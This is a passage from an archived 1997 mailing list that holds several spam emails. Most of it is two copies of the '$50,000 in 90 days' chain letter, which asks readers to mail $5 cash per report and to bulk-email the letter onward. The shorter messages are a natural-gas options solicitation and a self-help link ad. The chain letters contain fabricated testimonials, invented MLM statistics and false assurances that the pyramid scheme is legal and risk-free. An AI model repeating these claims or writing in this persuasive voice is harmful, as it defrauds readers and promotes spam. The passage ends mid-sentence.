Subject: Adults ONLY!!!
Message-ID: <webpromo@earthlink.net>
MIME-Version: 1.0
Content-Type: text/plain


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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anne <popopotyrui@aol.com>
Date: Wed, 2 Jul 1997 18:33:53 -0700 (PDT)
To: @@compuserve.com
Subject: Can You Handle $50,000
Message-ID: <199707030130.VAA24450@arl-gw-6.compuserve.com>
MIME-Version: 1.0
Content-Type: text/plain



<HTML><PRE></P><P ALIGN=CENTER><FONT  COLOR="#000000" SIZE=3><B>CAN YOU HANDLE $50,000?</B>


</P><P ALIGN=LEFT>First, please accept my apology if this was sent to you in error!


You could possibly make at least $50,000 - In less than 90 days! Read the enclosed program ....<B>THEN READ AGAIN</B>....


The enclosed information is something I almost let slip through my fingers. Fortunately, sometime later I re-read everything and gave it serious thought and study to it. So glad I did! Here's my story!


My name is Christopher Erickson. Two years ago, the corporation I worked at for the past twelve years down-sized and my position was eliminated. After unproductive job interviews, I decided to open my own business. Over the past year, I incurred many unforeseen financial problems. I owed my family, friends, and creditors over $35,000. The economy was taking a toll on my business and I just couldn't seem to make ends meet. I had to refinance and borrow against my home to support my family and struggling business. I truly believe it was wrong for me to be in debt like this. AT THAT MOMENT something significant happened in my life and I am writing to share my experience in hopes that this will change your life FOREVER .... FINANCIALLY!!!!!!!


In mid-December, I received this program via email. Six months prior to receiving this I had been sending away for information on various business opportunities. All the programs I received, in my opinion, were not cost effective. They were either too difficult for me to comprehend or the initial investment was too much for me to risk to see if they worked or not. One claimed I'd make a million dollars in one year ..... it didn't tell me I'd have to write a book to make it.


But like I was saying, in December of '92 I received this program. I didn't send for it, or ask for it, they just got my name off a mailing list. THANK GOODNESS FOR THAT!!! After reading it several times, to make sure I was reading it correctly, I couldn't believe my eyes. Here was a MONEY-MAKING PHENOMENON. I could invest as much as I wanted to start, without putting me further in debt. After I got a pencil and paper and figured it out, I would at least get my money back. After determning that the program is LEGAL and NOT A CHAIN LETTER, I decided "WHY NOT".


Initially I sent out 10,000 emails. It cost me about $15.00 for my time on-line. The great thing about email is that I didn't need any money for printing to send out the program, only the cost to fulfill my orders. I am telling you like it is, I hope it doesn't turn you off, but I promised myself that I would not "rip-off" anyone, no matter how much money it cost me!


In less than one week, I was starting to receive orders for REPORT #1. By January 13th, I had received 26 orders for REPORT #1. When you read the GUARANTEE in the program, you will see that "YOU MUST RECEIVE 15 TO 20 ORDERS FOR REPORT #1 WITHIN TWO WEEKS. IF YOU DON'T, SEND OUT MORE PROGRAMS UNTIL YOU DO!". My first step in making $50,000 in 20 to 90 days was done. By January 30th, I had received 196 orders for REPORT #2. If you go back to the GUARANTEE, "YOU MUST RECEIVE 100 OR MORE ORDERS FOR REPORT #2 WITHIN TWO WEEKS, IF NOT, SEND OUT MORE PROGRAMS UNTIL YOU DO. ONCE YOU HAVE 100 ORDERS, THE REST IS EASY. RELAX, YOU WILL MAKE YOUR $50,000 GOAL".
Well, I had 196 orders for REPORT #2, 96 MORE THAN I NEEDED. So, I sat back and relaxed. By March 19th, of my emailing of 10,000, I received $58,000 with more coming in every day.


I paid off ALL my debts and bought a much needed new car. PLEASE take time to read the attached program, IT WILL CHANGE YOUR LIFE FOREVER! Remember, it won't work if you DON'T try it! This program DOES WORK, but you must follow it EXACTLY! Especially the rules of not trying to place your name in a different place. THAT DOESN'T WORK, you'll lose out on a lot of money! REPORT #2 explains this. Always follow the guarantee, 15 to 20 orders for REPORT #1, and 100 or more orders for REPORT #2 and you will make $50,000 or more in 20 to 90 days. I AM LIVING PROOF THAT IT WORKS!!!!!


If you choose not to participate in this program, I'm sorry. It really is a great opportunity with little cost or risk to you. If you choose to participate, follow the program and you will be on your way to financial security.


If you are a fellow business owner and you are in financial trouble like I was, or you want to start your own business, consider this a sign. I DID!



                                                                                   Sincerely,
                                                                                   Christopher Erickson


P.S. Do you have any idea what 11,700 $5 bills ($58,000) look like piled up on a kitchen table? IT'S AWESOME!


"THREW IT AWAY"


I had received this program before. I threw it away, but later wondered if I shouldn't have given it a try. Of course, I had no idea who to contact to get a copy, so I had to wait until I was emailed another copy of the program. Eleven months passed, then it came. I DIDN'T throw this one away. I made $41,000 on the first try".


                                                                                    Dawn W., Evansville, IN
             
"NO FREE LUNCH"


"My late father always told me, remember, Alan, there is no free lunch. You get out of life what you put into it". Through trial and error and a somewhat slow frustrating start, I finally figured it out. The program works very well, I just had to find the right target group to email it to. So far this year, I have made over $63,000 using this program. I know my dad would have been very proud of me.


                                                                                    Alan B., Philadelphia, PA


A PERSONAL NOTE FROM THE ORIGINATOR OF THIS PROGRAM


By the time you have read the enclosed information and looked over the enclosed program and reports, you should have concluded that such a program, and one that is legal, could not have been created by an amateur.


Let me tell you a little about by myself. I had a profitable business for ten years. Then in 1979 my business began falling off. I was doing the same things that were previously successful for me, but it wasn't working. Finally, I figured it out. It wasn't me, it was the economy. Inflation and recession had replaced the stable economy that had been with us since 1945. I don't have to tell you what happened to the unemployment rate .... because many of you know from first hand experience. There were more failures and bankruptcies than ever before.


The middle class was vanishing. Those who knew what they were doing invested wisely and moved up. Those who did not, including those who never had anything to save or invest, were moving down into the ranks of the poor. As the saying goes, "THE RICH GET RICHER AND THE POOR GET POORER". The traditional methods of making money will never allow you to "move up" or "get rich", inflation will see to that.


You have just received information that can give you financial freedom for the rest of your life, with "NO RISK" and "JUST A LITTLE BIT OF EFFORT". You can make more money in the next few months than you have ever imagine.


I should also point out that I will not see a penny of your money, nor anyone else who has provided a testimonial for this program. I have already made over FOUR MILLION DOLLARS! I have retired from the program after sending out over 16,000 programs. Now I have several offices which market this and several other programs here in the US and overseas. By the Spring, we wish to market the 'internet' by a partnership with AMERICA ON LINE.


Follow the program EXACTLY AS INSTRUCTED. Do not change it in any way. It works exceedingly well as it is now. Remember to email a copy of this exciting program to everyone that you can think of. One of the people you send this to may send out 50,000 .... and your name will be on every one of them! Remember though, the more you send out, the more potential customers you will reach.


So my friend, I have given you the ideas, information, materials and opportunity to become financially independent, IT IS UP TO YOU NOW!


"THINK ABOUT IT"


Before you throw this away or delete it from your mailbox, as I almost did, take a little time to read it and REALLY THINK ABOUT IT. Get a pencil and paper and figure out what could happen when YOU participate. Figure out the worst possible response and no matter how you calculate it, you will still make a lot of money! Definitely get back what you invested. Any doubts you have will vanish when your first orders come in. IT WORKS!


                                                                              Paul Johnson, Raleigh, NC


HERE'S HOW THIS AMAZING PROGRAM WILL MAKE YOU $$$$$$$$$$$


Let's say that you decide to start small, just to see how it goes, and we'll assume that the mailing receives a 5% response. Using a good list the response could be much better. Also, many people will send out hundreds of thousands of programs instead of 2,000. But continuing with this example, you send out only 2,000 programs. With a 5% response, that is only 10 orders for REPORT #1. Those 10 people respond by sending out 2,000 programs each for a total of 20,000. Out of those 5%, 100 people respond and order REPORT #2. Those 100 mail out 2,000 programs each for a total of 200,000. the 5% response to that is 1,000 orders for REPORT #3. Those 1,000 send out 2,000 programs each for 2,000,000 total. The 5% response to that is 10,000 orders for REPORT #4. That's 10,000 five dollar bills for you. CASH!!!! Your total income in this example of $50 + $500 + $5000 + $50,000 for a total of $55,500!!!!!!


REMEMBER FRIEND, THIS IS ASSUMING 1,990 OUT OF 2,000 PEOPLE YOU MAIL TO WILL DO ABSOLUTELY NOTHING.....AND TRASH THIS PROGRAM! DARE TO THINK FOR A MOMENT WHAT WOULD HAPPEN IF EVERYONE OR HALF SENT OUT 100,000 PROGRAMS INSTEAD OF ONLY 2000. Believe me, many people will do that and more! By the way, your cost to participate in this is practially nothing if you go the email route. Email is FREE! REPORT #3 will show you the best methods for bulk emailing and purchasing email lists. If you go the regular mail route, that also will provide you with a very nice income. The costs for regular mail are higher.


THIS IS A LEGITIMATE, LEGAL, MONEY MAKING OPPORTUNITY. It does not require you to come in contact with people, do any hard work, and best of all, you never have to leave the house except to get the mail. If you believe that someday you'll get that big break that you've been waiting for, THIS IS IT! Simply follow the instructions, and your dreams will come true. This multi-level order marketing program works perfectly .... 100% EVERY TIME. If you have a computer, email is the sales tool of the future. Take advantage of this non-commercialized method of advertising NOW!!! The longer you wait, the more people will be doing business using email. Get your piece of this action now!!!


MULTI-LEVEL MARKETING (MLM) has finally gained respectability. It is being taught in the Harvard Business School, and both Stanford Research and The Wall Street Journal have stated that between 50% and 65% of all goods and services will be sold throughout Multi-Level Methods by the mid to late 1990's. This is a Multi-Billion Dollar industry and of the 500,000 millionaires in the US, 20% (100,000) made their fortune in the last several years in MLM. Moreover, statistics show 45 people become millionaires everyday through Multi-Level Marketing.


INSTUCTIONS


We at Erris Mail Order Marketing Business, have a method of raising capital that REALLY WORKS 100% EVERY TIME. I am sure that you could use $50,000 to $125,000 in the next 20 to 90 days. Before you say "Bull", <B>please read the program very carefully!</B>


This is not a chain letter, but a perfectly legal money making opportunity. Basically, this is what we do: As with all multi-level business, we build our business by recruiting new partners and selling our products. Every state in the USA allows you to recruit new multi-level business partners, and we offer a product for EVERY dollar sent. YOUR ORDERS COME AND ARE FILLED THROUGH THE MAIL, so you are not involved in personal selling. You do it privately in your own home, store or office.


This is the GREATEST Multi-level Mail OrderMarketng anywhere:


Step (1) <B>ORDER ALL FOUR (4) REPORTS LISTED BY NAME AND NUMBER.</B>
             Do this by ordering the REPORT from each of the four (4) names listed. For
             each REPORT, send $5 CASH and a SELF-ADDRESSED, STAMPED
             envelope (BUSINESS SIZE #10) to the person LISTED for the SPECIFIC
             REPORT. International orders should also include $1 extra for postage. It is
             essential that you specify the NAME and NUMBER of the report requested
             to the person you are ordering from. You will need ALL FOUR REPORTS
             because you will be REPRINTING and RESELLING them. DO NOT alter the
             names or sequence other than what the instructions say. IMPORTANT:
             Always provide same-day service on all orders.


Step (2) <B>REPLACE THE NAME AND ADDRESS UNDER REPORT #1 WITH YOURS,
             </B>moving the one that was there down to REPORT #2. Drop the name and
             address under REPORT #2 to REPORT #3, moving the one that was there to
             REPORT #4. The name and address that was under REPORT #4 is dropped
             from the list and this party is no doubt on the way to the bank. When doing
             this, make certain you type the names and addresses ACCURATELY! DO
             NOT MIX UP MOVING PRODUCT/REPORT POSITIONS!!!!


Step (3) <B>HAVING MADE THE REQUIRED CHANGES IN THE NAME LIST,</B> save it as
             Text (.txt) file in its own directory to be used with whatever email program you
             like. Again, REPORT #3 will tell you the best methods of bulk emailing and
             acquiring email lists.


Step (4) <B>EMAIL OR MAIL A COPY OF THE ENTIRE PROGRAM</B> (ALL OF THIS IS
             VERY IMPORTANT) TO EVERYONE whose address you can get your hands
             on. Start with friends and relatives since you can encourage them to take
             advantage of this fabulous money-making opportunity. That's what I did. And
             they love me now, more then ever. Then, email to anyone and everyone! Use
             your imagination! You can get email addresses from companies on the
             internet who specialize in email mailing lists and services, mailing them for
             you. These are very inexpensive, 100,000 addresses for around $50.00 up.


<B>IMPORTANT: </B>You won't get a good response if you use an old list, so ALWAYS request a FRESH, NEW list. You will find out where to purchase these lists when you order the four (4) reports.


<B>ALWAYS PROVIDE SAME-DAY SERVICE ON ALL ORDERS!!!


REQUIRED REPORTS


</B>**** Order each REPORT by NUMBER and NAME ****


ALWAYS SEND A SELF-ADDRESSED, STAMPED ENVELOPE AND $5 CASH FOR EACH ORDER REQUESTING THE SPECIFIC REPORT BY NAME AND NUMBER.


<B>**** REPORT #1 "HOW TO MAKE $250,000 THROUGH MULTI-LEVEL SALES"</B>
  
<B>ORDER REPORT #1 FROM:


</B>          <B>THE "Z" COMPANY
          </B>1506 Audubon Place
          Shreveport, La. 71105


<B>**** REPORT #2 "MAJOR CORPORATIONS AND MULTI-LEVEL SALES"


ORDER REPORT #2 FROM:


          KZT
</B>          1013 Speed
          Monroe, La. 71201
 
**** <B>REPORT #3 "SOURCES FOR THE BEST MAILING LISTS"


ORDER REPORT #3 FROM:
</B>
          <B>SOUTHERN S. S.</B>
          1324 Chopin
          Bossier City, La. 71112


<B>**** REPORT #4 "EVALUTING MULTI-LEVEL SALES PLANS"


ORDER REPORT #4 FROM:


          PREMIER CO.
          </B>115 Fielder Lane
          Shreveport, La. 71105



CONCLUSION!


I am enjoying my fortune that I made by sending out this program. You, too, will be making money in 20 - 90 days, if you follow the SIMPLE STEPS outlined in this mailing.


To be financially independent is to be FREE. Free to make financial decisions as never before. Go into business, get into investments, retire or take a vacation. No longer will a lack of money hold you back.


However, very few people reach financial independence, because when opportunity knocks, they choose to ignore it. It is much easier to say "NO" than "YES", and this is the question that you must answer. WILL YOU ignore this amazing opportunity or will you take advantage of it? If you do nothing, you have indeed missed something and nothing will change. PLEASE re-read this material, this is a special opportunity. If you have questions, please feel free to write to the sender of this information. You will get a prompt and informative reply.


My method is simple. I sell thousands of people a product for $5 that costs me pennies to produce and email. I should also point out that this program is legal and everyone who participates WILL make money. This is not a chain letter or pyramid scam. At times you have probably received chain letters, asking you to send money, on faith, but getting NOTHING in return, no product what-so-ever! Not only are chain letters illegal, but the risk of someone breaking the chain makes them quite unattractive.


You are offering a legitimate product to your people. After they purchase the product from you, they reproduce more and resell them. It's simple free enterprise. As you learned from the enclosed material, the PRODUCT is a series of four (4) FINANCIAL AND BUSINESS REPORTS. The information contained in these REPORTS will not only help you in making your participation in this program more rewarding, but will be useful to you in any other business decisions you make in the years ahead. You are also buying the rights to reprint all of the REPORTS, which will be ordered from you by those to whom you mail this program. The concise one and two page REPORTS you will be buying can easily be reproduce at a local copy center for a cost of about 3 cents a copy. Best wishes with the program and GOOD LUCK!


<B>"IT WAS TRULY AMAZING"


</B>"Not being the gambling type, it took me several weeks to make up my mind to participate in this program. But conservative as I am, I decided that the initial investment was so little that there was no way that I could NOT get enough orders to at least get my money back. BOY, was I ever surprised when I found my medium sized post office box crammed with orders! I will make more money this year than any ten years of my life before".


                                                      Mary Riceland, Lansing, MI


<B>TIPS FOR SUCCESS</B>


Send for your 4 REPORTS immediately so you will have them when the orders start coming in. When you receive a $5 order, you MUST send out the product/service to comply with US Postal and Lottery laws. Title 18, Sections 1302 and 1341 specifically state that: "A PRODUCT OR SERVICE MUST BE EXCHANGED FOR MONEY RECEIVED".


WHILE YOU WAIT FOR THE REPORTS TO ARRIVE:


1.      Name your new company. You can use your own name if you desire.


2.      Get a post office box (preferred).


3.      Edit the names and addresses on the program. You MUST remember, your name
         and address go next to REPORT #1 and the others all move down one, with the
         fourth one being bumped OFF.


4.      Obtain as many addresses as possible to send until you receive the information
         on the mailing list companies in REPORT #3.


5.      Decide on the number of programs you intend to send out. The more you send out
         and the quicker you send them, the more money you will make.


6.      After mailing the programs, get ready to fill the orders.


7.      Copy the four 4 REPORTS so you are able to send them out as soon as you
         receive an order. IMPORTANT: ALWAYS PROVIDE SAME-DAY SERVICE ON
         ORDERS YOU RECEIVE!


8.      Make certain the letter and reports are neat and legible.


YOUR GUARANTEE!


The check point which GUARANTEES your success is simply this: you must receive 15 to 20 orders for REPORT #1. This is a MUST!!!! If you don't within two weeks, email out more programs until you do. Then a couple of weeks later you should receive at least 100 orders for REPORT #2, IF YOU DON'T, send out more programs until you do. Once you have received 100 or more orders for REPORT #2, (TAKE A DEEP BREATH) you can sit back and relax, because YOU ARE GOING TO MAKE AT LEAST $50,000. Mathematically it is a proven guarantee. Of those who have participated in the program and reached the above GUARANTEES  -  ALL have reached their $50,000 goal. Also, remember, every time your name is moved down the list you are in front of a different REPORT, so you can keep track of your program by knowing what people are ordering from you. IT'S THAT EASY, REALLY, IT IS!!!!


<B>
REMEMBER:


"HE WHO DARES NOTHING, NEED NOT HOPE FOR ANYTHING".


"INVEST A LITTLE TIME, ENERGY AND MONEY NOW OR SEARCH FOR IT THE REST OF YOUR LIFE".



GOOD LUCK!</B>






<FONT  COLOR="#000000" SIZE=3>
</PRE></HTML>






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 77574525@msn
Date: Thu, 3 Jul 1997 21:06:29 -0700 (PDT)
To: friend3x@public.com
Subject: Free investment information!
Message-ID: <199700070025.gaa08056>
MIME-Version: 1.0
Content-Type: text/plain


DON NOT CLICK REPLY, IT WILL NOT WORK, USE LINKS LISTED BELOW IN MESSAGE

Natural gas futures contracts on the New York Mercantile Exchange (NYMEX) have 
hit record high levels for the past two years in the winter months.  But why?

The answer lies in the simple economic principle of supply and demand.  Winter 
brings with it colder temperatures and an increased demand for Natural Gas.  
Also, "just-in-time" inventory management practices have been adopted widely 
in the energy industry.  Corporate attempts to cut costs of stockpiling have 
led to lower supplies.

That was the past; what does the future hold?
No one can answer that question with absolute certainty.  However, key 
indicators appear to be pointing to another significant move in the price of 
Natural Gas going into the winter months.  First, demand for Natural Gas has 
been increased by the U.S. adding over 1.5 million new Natural Gas heating 
units in 1996.  Second, the American Gas Association reported that supplies in 
underground storage are only at 38% of the total nationwide capacity.  
Illustrating the point made earlier about the Corporations trying to keep 
costs of stockpiling low to possibly boost earnings for stockholders.

What is the profit potential?
An investment of $5,000 and a $.50 realized gain in the value of your Natural 
Gas options could return as much $25,000.

How realistic is it that the price of Natural Gas will move $.50?
The average seasonal price increase over the last seven years of trading 
Natural Gas futures contracts has been $1.44.  The smallest seasonal move was 
$.51 and the largest move $2.86. 

How do I receive my free information on the Natural Gas and other futures 
markets?
Very easily; just send an email to nmp123@lostvegas.com including :
*Name
*Address
*Phone
*Best time to call
(No packages can be sent without this information and please place Natural Gas 
in the subject or body of the message.)

A Series-3 registered broker will call to confirm the request for information. 
 All brokers are registered with and regulated by the National Futures 
Assoc.(NFA) and the Commodities Futures Trading Commission(CFTC).
  
Please only serious inquiries.

Past performance is not necessarily indicative of future results.  You could 
lose part or all of your investment.  However, when purchasing options your 
risk is predetermined to the amount you invest.  Commissions and fees will 
impact the total amount returned to the client.  Options do not move dollar 
for dollar with the underlying futures contract until expiration date.

If you would like to be removed from our mailing list please send an email to: 
 nmp123@lostvegas.com.  Please place remove in the subject or body of the 
letter.









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: empower@murlin.com
Date: Fri, 4 Jul 1997 00:40:38 -0700 (PDT)
To: dynamarket@vaprnet.com</A>
Subject: Walk the Talk.
Message-ID: <dynamarket@vaprnet.com>
MIME-Version: 1.0
Content-Type: text/plain


Sadly, 99.9 percent of all unsolicited e-mail *is* junk.

But sometimes you find a jewel in the septic tank.

We walk the talk.

Discover an extensive selection of cutting edge
information, free links and tools to help you
empower your life with health, wealth and
prosperity, including:

===> How to Turn Your Ideas Into Income Without
         Schemes
===> FREE articles and inside information
===> "EntrepreneURLs": dozens of valuable links,
         resources and contacts
===> "ResponsEmail" Marketing System
===> Hot Lists

And much more.

<><><><><><><><><><><><><><><><><><><><><><>

" You will be astonished!"
--Brian Tracy, best-selling author of MAXIMUM
  ACHIEVEMENT and THE PSYCHOLOGY OF SUCCESS

"Goes much deeper than it's competition."
--OPPORTUNITY Magazine

"Based on tried and true strategies, that, for the most
part, the experts have kept secret."
--Author Anthony Trupiano, in THE BEST DEALS IN
  AMERICA TODAY

<><><><><><><><><><><><><><><><><><><><><><><>

Find out for yourself. Just point and click:
http://www.windansea1.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: newlife@saveself.com
Date: Fri, 4 Jul 1997 05:23:27 -0700 (PDT)
To: newlife@savetrees.com
Subject: $$$ GET YOUR SHARE $$$
Message-ID: <0000000000.AAA000@saveself.com>
MIME-Version: 1.0
Content-Type: text/plain


<HTML><PRE><BODY BGCOLOR="#000000"><FONT COLOR="#00FFFF" SIZE=3>



You are about to make at least $50,000 - In less than 90 days
Read the enclosed program...THEN READ IT AGAIN!... 

Dear Friend,

I know that this seems like another one of those E-mails trying to 
clutter up your mail box, but if you will give me five minutes of your
 time to read this letter I think that you will understand why.

My name is Christopher Erickson. Two years ago, the corporation
I worked at for the past twelve years down-sized and my position
 was eliminated. After unproductive job interviews, I decided to 
open my own business... Soon I owed my family, friends, and 
creditors over $35,000... I had to refinance and borrow against my
 home to support my family and struggling business.
 AT THAT MOMENT something significant happened in my life and
 I am writing to share my experience in hopes that this will change
 your life FOREVER... FINANCIALLY!!!

I received this program via e-mail. THANK GOODNESS they got
 my name off a mailing list!!! After reading it several times, to make 
sure I was reading it correctly, I couldn't believe my eyes. Here was
 a MONEY-MAKING PHENOMENON. I could invest as much as I 
wanted without putting me further in debt. I figured I would at least 
get my money back. After determining that the program is
 LEGAL and NOT A CHAIN LETTER, I decided "WHY NOT".

Initially I sent out 10,000 e-mails. It only cost me about $15.00 for
 my time on-line.  The great thing about e-mail is that I didn't need 
any money for printing to send out the program, only the cost to fulfil
l my orders. I am telling you like it is, I hope it doesn't turn you off, 
but I promised myself that I would not "cheat" anyone, no matter
 how much money it cost me!.

In one week, I was receiving orders for REPORT #1. In less than
 a month, I had received 26 orders for REPORT #1. When you read
 the GUARANTEE in the program, you will see that
 "YOU MUST RECEIVE 15 TO 20 ORDERS FOR REPORT #1
 WITHIN TWO WEEKS. IF YOU DON'T, SEND OUT MORE
 PROGRAMS UNTIL YOU DO!"
 My first step in making $50,000 in 20 to 90 days was I paid off ALL
 my debts and bought a much needed new car. Please take time to 
read the attached program, IT WILL CHANGE YOUR LIFE FOREVER!
 Remember, it wont work if you don't try it. This program does work, 
but you must follow it EXACTLY! Especially the rules of not trying to 
alter the names or sequence.  REPORT #2 explains this. Always
 follow the guarantee, 15 to 20  orders for REPORT #1, and 100 or
 more orders for REPORT #2 and you will make $50,000 or more in
 20 to 90 days. I AM LIVING PROOF THAT IT WORKS !!!

If you choose not to participate in this program, I'm sorry. It really is a
 great opportunity with little cost or risk to you. If you choose to
 participate, follow the program and you will be on your way to financial
 security. 

If you are a fellow business owner and you are in financial trouble like
 I was, or you want to start your own business, consider this a sign. I DID!

                                        Sincerely,
                                        Christopher Erickson

PS  Do you have any idea what 11,700 $5 bills ($58,000) look like piled up on
a kitchen table? IT'S AWESOME!


"THREW IT AWAY"

"I had received this program before. I threw it away, but later wondered if
 I shouldn't have given it a try. Of course, I had no idea who to contact to
 get a copy, so I had to wait until I was emailed another copy of the program. 
 Eleven months passed, then it came. I DIDN'T throw this one away. I
 made $41,000 on the first try."

                                        Dawn W., Evansville, IN


A PERSONAL NOTE FROM THE ORIGINATOR OF THIS PROGRAM

By the time you have read the enclosed information and looked over 
the enclosed program and reports, you should have concluded that
 such a program, and one that is legal, could not have been created
 by an amateur.

Let me tell you a little about myself. I had a profitable business for
 ten years. Then in 1979 my business began falling off. I was doing 
the same things that were previously successful for me, but it wasn't
working. Finally, I figured it out. It wasn't me, it was the economy.
Inflation and recession had replaced the stable economy that had
 been with us since 1945. I don't have to tell you what happened to
the unemployment rate... because many of you know from first hand 
experience. There were more failures and bankruptcies than ever before.

The middle class was vanishing. Those who knew what they were
 doing invested wisely and moved up. Those who did not, including 
those who never had anything to save or invest, were moving down
 into the ranks of the poor. As the saying goes,
 "THE RICH GET RICHER AND THE POOR GET POORER." 
The traditional methods of making money will never allow you to 
"move up" or "get rich", inflation will see to that.

You have just received information that can give you financial freedom
 for the rest of your life, with "NO RISK" and "JUST A LITTLE BIT OF EFFORT." 
You can make more money in the next few months than you have ever imagined.

I should also point out that I will not see a penny of your money, nor anyone
 else who has provided a testimonial for this program. I have already made
 over FOUR MILLION DOLLARS! I have retired from the program after sending 
out over 16,000 programs. Now I have several offices which market this and 
several other programs here in the US and overseas.  By the Spring, we wish
to market the 'Internet' by a partnership with AMERICA ON LINE.

Follow the program EXACTLY AS INSTRUCTED. Do not change it in any way.
 It works exceedingly well as it is now. Remember to e-mail a copy of this
 exciting program to everyone that you can think of. One of the people you
 send this to may send out 50,000... and your name will be on every one of
them!. Remember though, the more you send out, the more potential customers
 you will reach.

So my friend, I have given you the ideas, information, materials and 
opportunity to become financially independent, IT IS UP TO YOU NOW!

"THINK ABOUT IT"

Before you delete this program from your mailbox, as I almost did, take a little
 time to read it and REALLY THINK ABOUT IT. Get a pencil and figure out
 what could happen when YOU participate. Figure out the worst possible 
response and no matter how you calculate it, you will still make a lot of money!
Definitely get back what you invested. Any doubts you have will vanish when
 your first orders come in. IT WORKS!

                                        Paul Johnson, Raleigh, NC

HERE'S HOW THIS AMAZING PROGRAM WILL MAKE YOU $$$$$$

If you decide to start small, just to see how it goes, then let's assume you 
and all those involved send out 2,000 programs each. Let's also assume
 that the mailing receives a .5% response.
 That is only 10 orders for REPORT #1! Those 10 people respond by 
sending out 2,000 programs each for a total of 20,000. Out of those .5%, 
100 people respond and order REPORT #2. Those 100 mail out 2,000 
programs each for a total of 200,000. The .5% response to that is 1,000
 orders for REPORT #3. Those 1,000 send out 2,000 programs each for 
a 2,000,000 total. The .5% response to that is 10,000 orders for
 REPORT #4. That's 10,000 five dollar bills for you. CASH!!!!

Your total income in this example is $50 + $500 + $5000 +
 $50,000 for a total of $55,550!!! REMEMBER FRIEND, THIS IS
 ASSUMING 1,990 OUT OF 2,000 PEOPLE YOU MAIL TO WILL DO 
ABSOLUTELY NOTHING... AND TRASH THIS PROGRAM! DARE 
TO THINK FOR A MOMENT WHAT WOULD HAPPEN IF EVERYONE
 OR HALF SENT OUT 100,000 PROGRAMS INSTEAD OF ONLY 
2,000. Believe me, many people will do that and more! By the way, your
 cost to participate  THIS IS A LEGITIMATE, LEGAL, MONEY MAKING
 OPPORTUNITY. It does not require you to come in contact with people,
 do any hard work, and best of all, you never have to leave the house
 except to get the mail.  Someday you'll get that big break that you've
 been waiting for, THIS IS IT! Simply follow the instructions, and your
dream will come true. This multi-level e-mail order marketing program
works perfectly... 100% EVERY TIME.

E-mail is the sales tool of the future. Take advantage of this
 non-commercialized
 method of advertising NOW!! The longer you wait, the more people
will be doing business using e-mail. Get your piece of this action!!

MULTI-LEVEL MARKETING (MLM) has finally gained respectability.
 It is being taught in the Harvard Business School, and both Stanford 
Research and The Wall Street Journal have stated that between
 50% and 65% of all goods and services will be sold throughout
 Multi-level Methods by the mid to late 1990's. This is a Multi-Billion 
Dollar industry and of the 500,000 millionaires in the US, 20%
 (100,000) made their fortune in the last several years in MLM.
Moreover, statistics show 45 people become millionaires everyday
 through Multi-Level Marketing.

INSTRUCTIONS

This is the GREATEST Multi-level Mail Order Marketing anywhere:

Step (1) Order all four 4 REPORTS listed by NAME AND NUMBER.
 Do this by ordering the REPORT from each of the four 4 names
 listed on the next page. For each REPORT, send $5 CASH and a
 SELF- ADDRESSED, STAMPED envelope (BUSINESS SIZE #10)
 to the person listed for the SPECIFIC REPORT.

International orders should also include $1 extra for postage. It is
 essential that you specify the NAME and NUMBER of the report 
requested to the person you are ordering from. You will need
 ALL FOUR 4 REPORTS because you will be REPRINTING and
 RESELLING them. DO NOT alter the names or sequence other
 than what the instructions say. 
IMPORTANT: Always provide same-day service on all orders.

Step (2) Replace the name and address under REPORT #1 with 
yours, moving the one that was there down to REPORT #2. Drop
 the name and address under REPORT #2 to REPORT #3, 
moving the one that was there to REPORT #4. The name and 
address that was under REPORT #4 is dropped from the list and
 this party is no doubt on the way to the bank. When doing this,
 make certain you type the names and addresses ACCURATELY!
 DO NOT MIX UP MOVING PRODUCT/REPORT POSITIONS!!!

Step (3) Having made the required changes in the NAME list, save it as
 a text (.txt) file in it's own directory to be used with whatever e-mail
 program you like. Again, REPORT #3 will tell you the best methods of 
bulk emailing and acquiring e-mail lists.

Step (4) E-mail a copy of the entire program (all of this is very important)
 to everyone whose address you can get your hands on. Start with friends
 and relatives since you can encourage them to take advantage of this
 fabulous money-making opportunity. That's what I did. And they love
 me now, more than ever. Then, e-mail to anyone and everyone! Use
 your imagination!  You can get e-mail addresses from companies on the
 Internet who specialize in e-mail mailing lists. These are very cheap, 
100,000 addresses for around $35.00.

IMPORTANT: You won't get a good response if you use an old list, so
 always request a FRESH, NEW list. You will find out where to purchase
 these lists when you order the four 4 REPORTS.

ALWAYS PROVIDE SAME-DAY SERVICE ON ALL ORDERS!!!

REQUIRED REPORTS

***Order each REPORT by NUMBER and NAME***

ALWAYS SEND A SELF-ADDRESSED, STAMPED ENVELOPE
AND $5 CASH FOR EACH ORDER REQUESTING THE
SPECIFIC REPORT BY NAME AND NUMBER

________________________________________________________
REPORT #1
"HOW TO MAKE $250,000 THROUGH MULTI-LEVEL SALES"

ORDER REPORT #1 FROM:


WFH  MARKETING
PO BOX 425
WHITMAN, MA  02382
USA

________________________________________________________
REPORT #2
"MAJOR CORPORATIONS AND MULTI-LEVEL SALES"

ORDER REPORT #2 FROM:

Skynr Comm.  Inc   
1108 Skyline Dr.
Suite 421
Arlington,  TX   76011		
USA

________________________________________________________
REPORT#3
"SOURCES FOR THE BEST MAILING LISTS"

ORDER REPORT #3 FROM:

Geddie Marketing
4700 Dester Ave.
Box  222
Ft.  Worth   TX   76107






________________________________________________________
REPORT #4
"EVALUATING MULTI-LEVEL SALES PLANS"

ORDER REPORT #4 FROM:

Trestken Market Research
P. O. Box 1442
Pottsboro, TX 75076
USA

________________________________________________________

CONCLUSION

I am enjoying my fortune that I made by sending out this program. You too,
will be making money in 20 to 90 days, if you follow the SIMPLE STEPS
outlined in this mailing.

To be financially independent is to be FREE.  Free to make financial
 decisions as never before.  Go into business, get into investments, retire
 or take a vacation.  No longer will a lack of money hold you back.

Please re-read this material, this is a special opportunity. If you have any 
questions, please feel free to write to the sender of this information. 
You will get a prompt and informative reply.

My method is simple. I sell thousands of people a product for $5 that 
costs me pennies to produce and e-mail. I should also point out that 
this program is legal and everyone who participates WILL make money. 
This is not a chain letter or pyramid scheme. At times you have probably
 received chain letters, asking you to send money, on faith, but getting
 NOTHING in return, NO product what-so-ever! Chain letters are illegal
 and the risk of someone breaking the chain makes them quite unattractive.

You are offering a legitimate product to your people. After they purchase
the product from you, they reproduce more and resell them. It's simple free
 enterprise. As you learned from the enclosed material, the PRODUCT is a
series of four 4 FINANCIAL AND BUSINESS REPORTS. The information
